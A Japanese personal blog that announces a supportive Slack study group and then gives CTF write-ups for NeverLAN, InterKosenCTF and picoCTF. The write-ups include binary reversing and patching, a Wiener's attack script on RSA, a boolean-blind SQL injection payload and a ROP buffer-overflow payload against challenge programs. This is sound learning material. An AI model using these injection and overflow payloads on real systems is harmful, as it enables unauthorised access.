未経験からプロになる!!

将来の初心者の方のために,僕がプロになるまでの過程をここに残しておこうと思います.

優しい環境で勉強するための集まり"ReReForce"を作ります!

高い技術力,どうすれば得られる?

春休み前,僕のTwitterには「これで勉強に集中できる」という文言が並んでいました.しかし…,現在のところ,進捗があまりありません.積み本の消化が進んでいません.数日前まで他の娯楽に自分自身が大いに流されていました.このことを今まで隠し通してきましたが,こうして明かすことにしました.でもこれでわかったのです.なぜ自分がそこまで能力を持たないのか.それは周囲の人間のせいでもなく時間のせいでもありません.自分がいつも楽な方向へ逃げているからです.何らかの分野に詳しい人は,ほとんどがその分野を好きであり,いつのまに一流の技術を習得してしまったといいます.最近まで少し納得のいかない部分もありましたが,ようやく納得できました.去年の僕は面白がって勉強していたことを思い出したんです.

さて,技術力を得る,言い換えれば強くなるにはどうすればよいのか.それは簡単なことです.

強くなるのは目的ではない.
技術の勉強が楽しければ自然に強くなれる.

では,再び勉強が楽しく思えるようになるにはどうすればよいのか.僕の場合は,次の2つのことが勉強を阻害するように感じました.
1.勉強より楽しい娯楽に時間を費やす
2.今更こんなことをするのかという恥ずかしさ,劣等感,もう無理なんじゃないか,やり直しはきかないのではないか,という気持ち

ReReForceは,特に2を取り除く仕組みにしたいと考えています.1も取り除けるかもしれません.

活動場所

今のところSlackのワークスペースでの活動しか考えていません.

活動内容

ReReForceは「自分の実力を考えて萎縮することなく,自分のやりたいことを勉強し,共有でき,信頼に足りる友達だけしかいない癒しの世界で,共に良好な精神状態を保ち最強を目指す」ことをテーマにしています.
はじめはCTFチーム的な感じにしようかなと思ってましたが,活動範囲については特に規定しません.共に健康な精神状態でいることをもっとも重視したいので,本の感想や理解状況を共有したり,勉強したことをスライドにまとめてみた,など勉強についての話はもちろん,別に世間話や趣味等の話をしても大いに結構です.躊躇せずに自分のやりたいことができるという環境にすることを大事にします.

ここでは誰もが信頼できる仲間です.(ソーシャルエンジニアリングとかは考えないでね)
そして,友達の進歩はどんな小さなものであっても何らかの形で褒めてあげてください.承認欲求を満たしあいましょう!

興味のある方は…

とりあえず下に招待リンクを公開しておきます.今は公開してありますが、どんな人を招待するのかという条件が加わり,招待方法が変わる可能性があります.それに関しては今後協議したいです.

(2019/03/27追記)
僕の行動を監視している者が存在する場合に嫌がらせを受けること,ReReForceのみんなが勇気を出して作った進捗を信頼のない者に見られてしまうことを防ぐため,招待方法を変更します.
まず,僕のTwitterアカウント(@__Xcyba17her_)からDMにて入りたい旨をお知らせください.その後多少時間が空いてしまうことがありますが,招待URLをお渡しするので,そこから入ってください.お手数ですがReReForceの人々を守るためにもご協力をお願いしますm(__)m

かつて募集する方の条件として「失敗したことがあるか」という条件がありましたが,撤去します.ただ,自分の実力より劣っている人がいたとしても(心の中でも)絶対に軽蔑することのないように,お願いします…!

NeverLAN CTF 2019 参加記録

01/31~02/03にかけて行われたNeverLAN CTF 2019に参加しました!久しぶりにフルで参加できるぞ~,と張り切っていましたが用事が発生してしまいあまりできませんでした…( ノД`)シクシク…
f:id:verliezer93764:20190204232014p:plain
Binary問がちょっと普段と違う雰囲気の問題で面白かったです.

Binary 1

データが暗号化されてしまったようなので元に戻してくださいという問題.users_dbというテキストファイルが渡されます.
f:id:verliezer93764:20190204232424p:plain
16進の数字が並んでいますが,奇数番目が4~7の範囲なので,英字か数字のASCIIコードが並んでるだけみたいですね.
2文字ずつ分けてASCIIコードに対応する文字に直してみます.同時に,改行を取り除きます.

def main():
    in_f = open("users_db.txt", 'r')
    out_f = open("users_db_dec.txt", 'w')
    str_lines = in_f.readlines()

    for str_line in str_lines:
        i = 0
        while True:
            if(i * 2 + 2 > len(str_line)):
                break
            s = str_line[i*2] + str_line[i*2 + 1]
            out_f.write(chr(int(s, 16)))
            i += 1

if __name__=="__main__":
    main()

ASCIIコードに対応する文字に直した結果...
f:id:verliezer93764:20190204233127p:plain
語尾が=になっており,base64エンコードされた文字列っぽいですね.これをbase64デコードすると,jsonっぽいデータがでてきます.この中にフラグがあります.
f:id:verliezer93764:20190204233509p:plain
flag{ENC0D1NG_D4TA_1S_N0T_ENCRY7I0N}
まあそうですね...

Binary 2

ログイン認証プログラムを作った人が辞めたのでログイン方法がわからないので調べてくださいという問題.渡されるプログラムEmployee_Payroll.exeは.NETアセンブリで,実行するとユーザーネームとパスワードが要求されます.IDA Free版では解析できず,Ollydbgにも慣れていないので,とりあえず平文ないかなあと思ってbintextに投げてみると,"admin"と"dGhpc19pc19ub3RfdGhlX2ZsYWdfeW91X3NlZWtfa2VlcF9sb29raW5n"という怪しい文字列がありました.
f:id:verliezer93764:20190204234421p:plain
さらに,dnSpyという優秀な.NETデコンパイラがあると聞いたので使用してみると...
f:id:verliezer93764:20190204234918p:plain
f:id:verliezer93764:20190204235123p:plain
これらを見ると,ユーザーネームを"admin"に,パスワードを"dGhpc19pc19ub3RfdGhlX2ZsYWdfeW91X3NlZWtfa2VlcF9sb29raW5n"として入力した場合は何か文字列の載っているメッセージウィンドウを表示する,そうでないと"Username or Password is incorrect, please try again"と表示し,3回目には"Too many login attempts"とメッセージウィンドウを表示することが予想できます.また,ログイン成功時に表示されると思われる文字列を調べると,先頭が"flag"でした.
f:id:verliezer93764:20190206133816p:plain
ユーザーネームをadminに,パスワードをdGhpc19pc19ub3RfdGhlX2ZsYWdfeW91X3NlZWtfa2VlcF9sb29raW5nとして入力した場合,フラグが出ました.dnSpy,すごいですね!
f:id:verliezer93764:20190206134017p:plain
flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3}
あとはollydbgに慣れていかないといけないですね.

Binary 3

一見正常に動作しているログイン認証プログラムが,どこかおかしい?らしいです.ELFファイルが渡されます.
ltraceしてみると普通にstrcmpで判定しているようです.
f:id:verliezer93764:20190206140433p:plain
usernameに"admin",passwordに"a2VlcCBsb29raW5nLCBub3QgdGhlIGZsYWc="を指定したら"ログイン"できました.
f:id:verliezer93764:20190206140718p:plain
しかし,それ以外に特に何も起きず,たしかにログイン部分だけは正常に動いてそう...
なので,もしかすると他に実行されるべき関数があるかもしれないと思い、IDAFree版で調べてみることにしました.
すると,"www.gr3yR0n1n.com"や"GET %s HTTP/1.0"のHTTP通信機能を思わせるような文字列や,いくつかの独自のサブルーチン群がありました.このうち,サブルーチン'd'には,socket,gethostbyname,htons,connect,write,closeなど一連の通信を行うと思われる部分がありました.これを実行させてみることにします.
f:id:verliezer93764:20190206143127p:plain
"you are now logged in..."のところがログイン成功部分なので,おそらくint main(){ ... return 0; }の return 0;を示すであろうmov eax,0の部分付近をサブルーチンdのcallや諸命令に書き換えようかなと思いましたが,アドレスがわからなかったので,GDBでそこまで進んだ後ripを書き換えてサブルーチンdに移動することにしました.

root@kali:~/Desktop/CTF/NeverLANCTF2019# gdb -q ./get_flag
Reading symbols from ./get_flag...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x24c0
gdb-peda$ run
Starting program: /root/Desktop/CTF/NeverLANCTF2019/get_flag 































[----------------------------------registers-----------------------------------]
RAX: 0x5555555564bc (<main>:	push   rbp)
RBX: 0x0 
RCX: 0x7ffff7f8e718 --> 0x7ffff7f8fd80 --> 0x0 
RDX: 0x7fffffffe108 --> 0x7fffffffe443 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffe0f8 --> 0x7fffffffe418 ("/root/Desktop/CTF/NeverLANCTF2019/get_flag")
RDI: 0x1 
RBP: 0x7fffffffe010 --> 0x555555556540 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffe010 --> 0x555555556540 (<__libc_csu_init>:	push   r15)
RIP: 0x5555555564c0 (<main+4>:	sub    rsp,0x20)
R8 : 0x7ffff7f8fd80 --> 0x0 
R9 : 0x7ffff7f8fd80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555554cc0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe0f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555564bb <d+533>:	ret    
   0x5555555564bc <main>:	push   rbp
   0x5555555564bd <main+1>:	mov    rbp,rsp
=> 0x5555555564c0 <main+4>:	sub    rsp,0x20
   0x5555555564c4 <main+8>:	mov    DWORD PTR [rbp-0x14],edi
   0x5555555564c7 <main+11>:	mov    QWORD PTR [rbp-0x20],rsi
   0x5555555564cb <main+15>:	mov    DWORD PTR [rbp-0x4],0x0
   0x5555555564d2 <main+22>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe010 --> 0x555555556540 (<__libc_csu_init>:	push   r15)
0008| 0x7fffffffe018 --> 0x7ffff7df709b (<__libc_start_main+235>:	mov    edi,eax)
0016| 0x7fffffffe020 --> 0x0 
0024| 0x7fffffffe028 --> 0x7fffffffe0f8 --> 0x7fffffffe418 ("/root/Desktop/CTF/NeverLANCTF2019/get_flag")
0032| 0x7fffffffe030 --> 0x100040000 
0040| 0x7fffffffe038 --> 0x5555555564bc (<main>:	push   rbp)
0048| 0x7fffffffe040 --> 0x0 
0056| 0x7fffffffe048 --> 0xd24ee335a7a47c25 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00005555555564c0 in main ()
gdb-peda$ disass main
Dump of assembler code for function main:
   0x00005555555564bc <+0>:	push   rbp
   0x00005555555564bd <+1>:	mov    rbp,rsp
=> 0x00005555555564c0 <+4>:	sub    rsp,0x20
   0x00005555555564c4 <+8>:	mov    DWORD PTR [rbp-0x14],edi
   0x00005555555564c7 <+11>:	mov    QWORD PTR [rbp-0x20],rsi
   0x00005555555564cb <+15>:	mov    DWORD PTR [rbp-0x4],0x0
   0x00005555555564d2 <+22>:	mov    eax,0x0
   0x00005555555564d7 <+27>:	call   0x555555554eb7 <c>
   0x00005555555564dc <+32>:	mov    eax,0x0
   0x00005555555564e1 <+37>:	call   0x555555554dca <u>
   0x00005555555564e6 <+42>:	mov    DWORD PTR [rbp-0x4],eax
   0x00005555555564e9 <+45>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x00005555555564ed <+49>:	jne    0x555555556502 <main+70>
   0x00005555555564ef <+51>:	lea    rdi,[rip+0x149]        # 0x55555555663f
   0x00005555555564f6 <+58>:	call   0x555555554b90 <puts@plt>
   0x00005555555564fb <+63>:	mov    eax,0x0
   0x0000555555556500 <+68>:	jmp    0x555555556539 <main+125>
   0x0000555555556502 <+70>:	mov    eax,0x0
   0x0000555555556507 <+75>:	call   0x555555554e42 <b>
   0x000055555555650c <+80>:	mov    DWORD PTR [rbp-0x4],eax
   0x000055555555650f <+83>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x0000555555556513 <+87>:	jne    0x555555556528 <main+108>
   0x0000555555556515 <+89>:	lea    rdi,[rip+0x137]        # 0x555555556653
   0x000055555555651c <+96>:	call   0x555555554b90 <puts@plt>
   0x0000555555556521 <+101>:	mov    eax,0x0
   0x0000555555556526 <+106>:	jmp    0x555555556539 <main+125>
   0x0000555555556528 <+108>:	lea    rdi,[rip+0x138]        # 0x555555556667
   0x000055555555652f <+115>:	call   0x555555554b90 <puts@plt>
   0x0000555555556534 <+120>:	mov    eax,0x0
   0x0000555555556539 <+125>:	leave  
   0x000055555555653a <+126>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000555555556534
Breakpoint 2 at 0x555555556534
gdb-peda$ c
Continuing.
username: admin
password: a2VlcCBsb29raW5nLCBub3QgdGhlIGZsYWc=
you are now logged in...

[----------------------------------registers-----------------------------------]
RAX: 0x19 
RBX: 0x0 
RCX: 0x7ffff7ebd874 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7f908c0 --> 0x0 
RSI: 0x555555758260 ("you are now logged in...\n")
RDI: 0x0 
RBP: 0x7fffffffe010 --> 0x555555556540 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdff0 --> 0x7fffffffe0f8 --> 0x7fffffffe418 ("/root/Desktop/CTF/NeverLANCTF2019/get_flag")
RIP: 0x555555556534 (<main+120>:	mov    eax,0x0)
R8 : 0x7ffff7f95500 (0x00007ffff7f95500)
R9 : 0x7ffff7f908c0 --> 0x0 
R10: 0x7ffff7ff06a0 (<strcmp+2864>:	pxor   xmm0,xmm0)
R11: 0x246 
R12: 0x555555554cc0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe0f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555556526 <main+106>:	jmp    0x555555556539 <main+125>
   0x555555556528 <main+108>:	lea    rdi,[rip+0x138]        # 0x555555556667
   0x55555555652f <main+115>:	call   0x555555554b90 <puts@plt>
=> 0x555555556534 <main+120>:	mov    eax,0x0
   0x555555556539 <main+125>:	leave  
   0x55555555653a <main+126>:	ret    
   0x55555555653b:	nop    DWORD PTR [rax+rax*1+0x0]
   0x555555556540 <__libc_csu_init>:	push   r15
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdff0 --> 0x7fffffffe0f8 --> 0x7fffffffe418 ("/root/Desktop/CTF/NeverLANCTF2019/get_flag")
0008| 0x7fffffffdff8 --> 0x155554cc0 
0016| 0x7fffffffe000 --> 0x7fffffffe0f0 --> 0x1 
0024| 0x7fffffffe008 --> 0x100000000 
0032| 0x7fffffffe010 --> 0x555555556540 (<__libc_csu_init>:	push   r15)
0040| 0x7fffffffe018 --> 0x7ffff7df709b (<__libc_start_main+235>:	mov    edi,eax)
0048| 0x7fffffffe020 --> 0x0 
0056| 0x7fffffffe028 --> 0x7fffffffe0f8 --> 0x7fffffffe418 ("/root/Desktop/CTF/NeverLANCTF2019/get_flag")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555556534 in main ()
gdb-peda$ p d
$1 = {<text variable, no debug info>} 0x5555555562a6 <d>
gdb-peda$ set $rip=0x5555555562a6
gdb-peda$ c
Continuing.
GET /81c26d1dd57fd11842fc13e53540db80/eacbe4d1b2dee530eee7460477877c4d/667d5fa72f80788a5ed2373586e57ff6/c4ff45bb1fab99f9164b7fec14b2292a/6470e394cbf6dab6a91682cc8585059b HTTP/1.0


Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7dcbec8 --> 0x7 
RBX: 0x7fffffffb408 --> 0x7fffffffb688 ("libnss_files.so.2")
RCX: 0x0 
RDX: 0x0 
RSI: 0x55555575c890 --> 0x7ffff7ffe450 --> 0x7ffff7f94520 --> 0x7ffff7ffe190 --> 0x555555554000 --> 0x10102464c457f 
RDI: 0x55555575c530 --> 0x7ffff7dbe000 --> 0x10102464c457f 
RBP: 0x7fffffffb228 --> 0x7fffffffb2b8 --> 0x80000002 
RSP: 0x7fffffffb128 --> 0x55555575c530 --> 0x7ffff7dbe000 --> 0x10102464c457f 
RIP: 0x7ffff7fe0988 (<_dl_relocate_object+280>:	)
R8 : 0x7ffff7dbf0e8 --> 0x5f6e6f6d675f5f00 ('')
R9 : 0x0 
R10: 0x555555758010 --> 0x1000000000000 
R11: 0x55555575c530 --> 0x7ffff7dbe000 --> 0x10102464c457f 
R12: 0x0 
R13: 0x0 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7fe0977 <_dl_relocate_object+263>:	nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff7fe0980 <_dl_relocate_object+272>:	mov    rax,QWORD PTR [r11+0x78]
   0x7ffff7fe0984 <_dl_relocate_object+276>:	pxor   xmm0,xmm0
=> 0x7ffff7fe0988 <_dl_relocate_object+280>:	
    movaps XMMWORD PTR [rbp-0x70],xmm0
   0x7ffff7fe098c <_dl_relocate_object+284>:	
    movaps XMMWORD PTR [rbp-0x60],xmm0
   0x7ffff7fe0990 <_dl_relocate_object+288>:	
    movaps XMMWORD PTR [rbp-0x50],xmm0
   0x7ffff7fe0994 <_dl_relocate_object+292>:	
    movaps XMMWORD PTR [rbp-0x40],xmm0
   0x7ffff7fe0998 <_dl_relocate_object+296>:	test   rax,rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffb128 --> 0x55555575c530 --> 0x7ffff7dbe000 --> 0x10102464c457f 
0008| 0x7fffffffb130 --> 0x7ffff7e586da (<__libc_calloc+762>:	mov    r8,rax)
0016| 0x7fffffffb138 --> 0x8 
0024| 0x7fffffffb140 --> 0x0 
0032| 0x7fffffffb148 --> 0x7ffff7dbfbd8 --> 0x3000009691a75 
0040| 0x7fffffffb150 --> 0x7ffff7debf1c --> 0x1000200000001 
0048| 0x7fffffffb158 --> 0x7 
0056| 0x7fffffffb160 --> 0xf7fe5a40 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7fe0988 in _dl_relocate_object (scope=0x55555575c890, 
    reloc_mode=reloc_mode@entry=0x0, 
    consider_profiling=consider_profiling@entry=0x0) at dl-reloc.c:258
258	dl-reloc.c: そのようなファイルやディレクトリはありません.
gdb-peda$ 

GET
/81c26d1dd57fd11842fc13e53540db80/eacbe4d1b2dee530eee7460477877c4d/667d5fa72f80788a5ed2373586e57ff6/c4ff45bb1fab99f9164b7fec14b2292a/6470e394cbf6dab6a91682cc8585059b HTTP/1.0
という,HTTPのリクエストヘッダが出てきました.これを先ほどの"www.gr3yR0n1n.com"にくっつけてパス指定のURLとし,アクセスしてみます.
f:id:verliezer93764:20190206153132p:plain
本当はこういう怪しい通信プログラムを調べるのはFakenetなどを通してやってみるべきなんでしょうけどね.
flag{AP1S_SH0ULD_4LWAYS_B3_PR0T3CTED}

flag generatorの人力デコンパイルができなかったので

InterKosenCTFに参加しました.

冒頭になりますが


 

 

 

 

こんなに悔しいと思ったことはなかった
 

 

 

 

こんなに無力さを感じたのは久しぶりだった

 

 

 

 

 

 

 

...まあそれはいいとして,flag generatorをたぶんちょっと変わったやり方でやった(やっちまった)のではないかと思ったので載せておきます.

はじめに,flag generatorはおそらくこんな感じのプログラムだと思います.

#include <stdio.h>
#include <time.h>

int s;

void r()
{
    int tmp = s;
    tmp *= 0x41C64E6D;
    tmp += 0x3039;
    tmp = tmp & 0x7FFFFFFF;

    s = tmp;
};

int main()
{
    //from var_30 to var_c
    int constant1[10] = {
        0x608F5935,
        0x57506491,
        0x27365557,
        0x54E3DEA1,
        0x755A4ED5,
        0x17F42EB7,
        0x4A4F9059,
        0x1A08E827,
        0xD9D391F,
        0x59E533AA,
    };

    // var_38
    int constant2 = 0x25DC167E;
    //var_34
    int loopend = 0xA;
    //var_40
    int counter = 0;
    //var_3c
    int flag = 0;
    //var_44
    int calc_t = 0;

    int t;

    while (1)
    {
        if (flag == 0)
        {
            t = time(NULL);
            s = t;
        }

        r();

        calc_t = s;

        //t = 1509961785でフラグが立ちます
        if (calc_t == constant2)
        {
            flag = 1;
        }

        if (flag != 0)
        {
            calc_t = calc_t ^ constant1[counter];
            
            printf("%.4s", (char*)(&calc_t));
            
            counter += 1;
            if (counter == loopend)
            {
                break;
            }
        }
        sleep(1);
    }

    return 0;
}

要は,フラグが立っていればまずUNIXタイムを取得して,そのUNIXタイムに対しr()関数で計算をして,その結果が0x25dc167eと等しければフラグを立て,フラグが立っていれば定数配列のループカウンタ番目の数値と先ほどのr()の計算結果をxorして表示してからループカウンタをインクリメント,最後にフラグにかかわらず1秒間スリープします.以上の無限ループです.

当然時間的に待ってられないので,時間の部分をwhileループごとのインクリメントに変えます.

#include <stdio.h>
#include <time.h>

int s;

void r()
{
    int tmp = s;
    tmp *= 0x41C64E6D;
    tmp += 0x3039;
    tmp = tmp & 0x7FFFFFFF;

    s = tmp;
};

int main()
{
    //from var_30 to var_c
    int constant1[10] = {
        0x608F5935,
        0x57506491,
        0x27365557,
        0x54E3DEA1,
        0x755A4ED5,
        0x17F42EB7,
        0x4A4F9059,
        0x1A08E827,
        0xD9D391F,
        0x59E533AA,
    };

    // var_38
    int constant2 = 0x25DC167E;
    //var_34
    int loopend = 0xA;
    //var_40
    int counter = 0;
    //var_3c
    int flag = 0;
    //var_44
    int calc_t = 0;

    int t = 1509961780;

    while (1)
    {
        if (flag == 0)
        {
            s = t;
        }

        r();

        calc_t = s;

        //t = 1509961785でフラグが立ちます
        if (calc_t == constant2)
        {
            flag = 1;
        }

        if (flag != 0)
        {
            calc_t = calc_t ^ constant1[counter];
            
            printf("%.4s", (char*)(&calc_t));
            
            counter += 1;
            if (counter == loopend)
            {
                break;
            }
        }
        t += 1;
    }

    return 0;
}

これでキレイにフラグが出ます.
f:id:verliezer93764:20190121002209p:plain

しかし,このプログラムは実はctf終了後に書いたもので,競技中には実行ファイルはなぜか消えるわフラグは出ないわで,結局人力デコンパイルは諦めてしました.

このままでは埒が明かないのでELFを改造してみることを思い立ち以下のことを行いました.

1."call _time"を"mov eax, 0x5a003039"にする

これで無限ループ中の1回目のループでフラグ変数が立ち,1秒ごとにフラグの一部が表示されるようになります.なお,フラグ変数が立つとこの部分は実行されないのでプログラムにこの変更による悪影響はありません.
movの機械語もわからなくて困ってましたが,のちの"mov eax, 0"の機械語が"b8 00 00 00 00"で表されていることを参考に該当部分をIDAで探し,バイナリエディタ上でアドレスが0x00001205から5バイトを"e8 46 fe ff ff"から"b8 39 30 00 5a"に変更しました.

変更前が次の図
f:id:verliezer93764:20190121003209p:plain
変更後が次の図
f:id:verliezer93764:20190121003435p:plain

2."call _sleep"をNOPで埋める

これはオプションで,ただ数秒すら待たないようになるだけです.
該当部分をIDAで探し,バイナリエディタ上でアドレスが0x0000126cから5バイトを"e8 ef fd ff ff"から"90 90 90 90 90"に変更しました.

変更前が次の図
f:id:verliezer93764:20190121003653p:plain
変更後が次の図
f:id:verliezer93764:20190121003748p:plain

これらを行った結果,フラグは一部おかしいですが表示されました.最後の?が消えていたので,何度もKOSENCTF{IS_THIS_REALLY_A_REVERSING}で提出してWrongって言われて「は?!?!?!?」ってなりました()
f:id:verliezer93764:20190121005827p:plain

実は'?'の後に'\b'があるらしく,それで'?'が消えていたとのことですが,「さては(何らかの理由で)'?'が必要なのでは」と思って何とかcorrectになりました.でも何で上記のプログラムではうまくいったんでしょうかね....

picoCTF - Writeup(遅遅の遅)

つらい実験科目によってほとんどフリータイムがない中,picoCTFのWriteupを(今頃)書きました.内容は以下に示す3問のみです.
・Super Safe RSA 2
・A Simple Question
・rop chain

Super Safe RSA 2

公開鍵(e, n)と暗号文cが渡されますが,せいぜい65537程度の大きさであるeの値がべらぼうにでかいので,Wiener's Attackが使えます.いやぁ~,自分で一回実装しといてよかった,と思った一問でした(自分語り).
クソコードをのっけます.こいつは来年の春にでもきれいにできれば,と思っています.

import math

#--------PLEASE SET (e, n)--------
def set_values():
    e = 166469415374069307881604324436342677840204259559951383103458348696214353018185580067127805885715702582826742952855206035850607388392166614056495391290151746650424386583535774622709912504383483742572448337565274948581041550819383283860203664028306185265859707368577879926514232681259612579344391833668817270913
    n = 167818890560996465630467660522759422821311591428711487378116440524593140343836769125663052058639440088766593645612546346278130386295299544461168104275998718733123494540156011937404481135312366524773575109469754297864828333733123922028880567126525579171598321755189056067313592155802703541501512699223753527743
    return e, n
#--------------------------------------

def fix_den(m, num, den):
    return m * den + num, den

def convert_to_a_fraction(cf):
    index = len(cf) - 1
    num = cf[index - 1]
    
    num, den = fix_den(cf[index - 1], 1, cf[index])
    index -= 1
    
    while True:
        if index == 0:
            return num, den
        else:
            num, den = fix_den(cf[index - 1], den, num)
            index -= 1

'''
This function returns
{int(sqrt(num)) ---if num is a square number.
{-1 ---------------if num is not a square number.
'''
def calcSquare(num):

    if num<0:
        return -1

    maximumbase=1

    while maximumbase<=num:
        maximumbase*=10

    answer=0
    success_flag=False

    while maximumbase>=1:
        maximumbase//=2
        square=pow(answer, 2)

        if square==num:
            success_flag=True
            break
        elif square<num:
            answer+=maximumbase
        else:
            answer-=maximumbase
            
    if success_flag:
        return answer
    else:
        return -1



def is_square(num):

    a = 1
    exp = 0
    
    while a < num:
        a *= 4
        exp += 1
    
    answer = pow(2, exp)
    dist = answer // 2
    
    while True:
        
        num_2 = answer * answer
        
        if num_2 == num:
            return True, answer
        elif num_2 < num:
            answer += dist
        else:
            answer -= dist
        
        if dist==0:
            if num_2 > num:
                return False, answer
            else:
                return False, answer+1
        
        dist //= 2




def main():
    e, n = set_values();
    
    success_flag=False

    cf=[]
    k=e
    d=n
    cf.append(e//n)
    
    while True:
        tmp=d
        d=k%d
        k=tmp
        
        cf.append(k//d)
        
        num, den = convert_to_a_fraction(cf)

        if (e * den - 1)%num==0:
            
            phaiN=(e*den - 1)//num
            b=n-phaiN+1
            c=n
            
            #sqrt(b^2-4ac)
            rt2 = pow(b, 2) - 4 * c
            flag, rt = is_square(rt2)
            if rt2 > 0 and flag == True:
                
                #解p,qは整数か
                if b % 2 == rt % 2:
                    p=(b + rt) // 2
                    q=(b - rt) // 2
                    
                    print("p=")
                    print(p)
                    print("q=")
                    print(q)
                    success_flag = True
                    break

        if num == e and den == n:
            break

    if success_flag == False:
        print("failed...")

if __name__ == "__main__":
    main()

この結果,pとqは以下のように求まります.

p=
13187791611843376794443813417505164905719902975940204994951353780300053316986286058129548697178236289057253045681561721903633315886536681830716299905580769
q=
12725321683903898367448235894643841040653555869947621697905115020959136660923216347010267828363037006731940776069218036492902863509365802709092550777996447

これにより復号を行うと,平文mは16進数で,

7069636f4354467b77407463685f793075725f5870306e336e74245f6340723366753131795f303532353436357d

となり,これをASCIIコードに直すと,
picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_0525465}
となります.

A Simple Question (650pt)

650ptだがサービスなSQLiの問題.フォームに何かを入力するとそれに応じて"You are so close."あるいは"Wrong."のYes/No的な返答が返ってくるのでBoolean-based blind SQLiを疑います.ご丁寧にも「SELECT * FROM answers WHERE answer='(フォームに打ち込んだ文字列)'」がクエリになっていることが示されているので,たとえば次のような文字列を入力すると,answerの2文字目のASCIIコード値が文字XのASCIIコード値より大きいかについて調べられます.
「' or SUBSTR(answer,2)>'X';--」
したがって,これとASCIIコード表を併用すれば,n文字目の文字が何であるか,二分探索により調べることができます.僕にはコーディング能力がないので,手動でこれを何回も行いました.疲れました.もしかしたら,pythonでクエリを送ってレスポンスから自動的に二分探索していく,ということができたかもしれません.
上記の入力をしているうちに,x文字目がすべての印字可能な文字のASCIIコードよりも小さくなります.それが文字列answerの終端です.
結果,answerの正体は,文字列"41AndSixSixths"でした.これを直接フォームに入力すると,フラグが得られます.
f:id:verliezer93764:20181026062100j:plain

rop chain

次のようなプログラムが渡されます.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define BUFSIZE 16

bool win1 = false;
bool win2 = false;


void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }
  else if (win1) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void flag(unsigned int arg_check2) {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  else if (win1 && win2) {
    printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
  }
  else if (win1 || win2) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

この問題を解くには,次の手順が必要です.
1.vulnでBOFを起こす
2.サブルーチンwin_function1に入ってwin1をtrueにする
3.引数に0xBAAAAAADを指定しながら,サブルーチンwin_function2に入ってwin2をtrueにする
4.引数に0xDEADBAADを指定しながら,サブルーチンflagに入ってフラグを表示させる

まず,win_function1の先頭アドレスは0x080485cbなので,1と2を行うためには,bofを以下のように実行して,バッファを埋めてリターンアドレスをwin_function1の先頭アドレス0x080485cbに書き換えます.(実行はまだしないでください)

python -c 'print("A"*28+"\xcb\x85\x04\x08")' | ./rop

次に,3を起こすことを考えます.まずは,サブルーチンwin_function1からret命令により移動するリターンアドレスをwin_function2の先頭アドレス0x080485d8に書き換えます.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08")' | ./rop

また,今回は引数として0xBAAAAAADを与える必要があります.そこで,引数はどのアドレスに入るかをIDAから見ることにします.次の図が,IDA上でみたwin_function2の一部です.
f:id:verliezer93764:20181026192543j:plain
これを見ると,$esp+8というアドレス以降に格納されている値と0xBAAAAAADを比較し,等しければwin1が1すなわちtrueになることがわかります.ebpにespを代入している時点で,espの値(指しているアドレス)は"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"のうち"\xd8"のアドレスになります.したがって,これから8大きいアドレスに0xBAAAAAADを入れてやればいいことになります.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba")' | ./rop

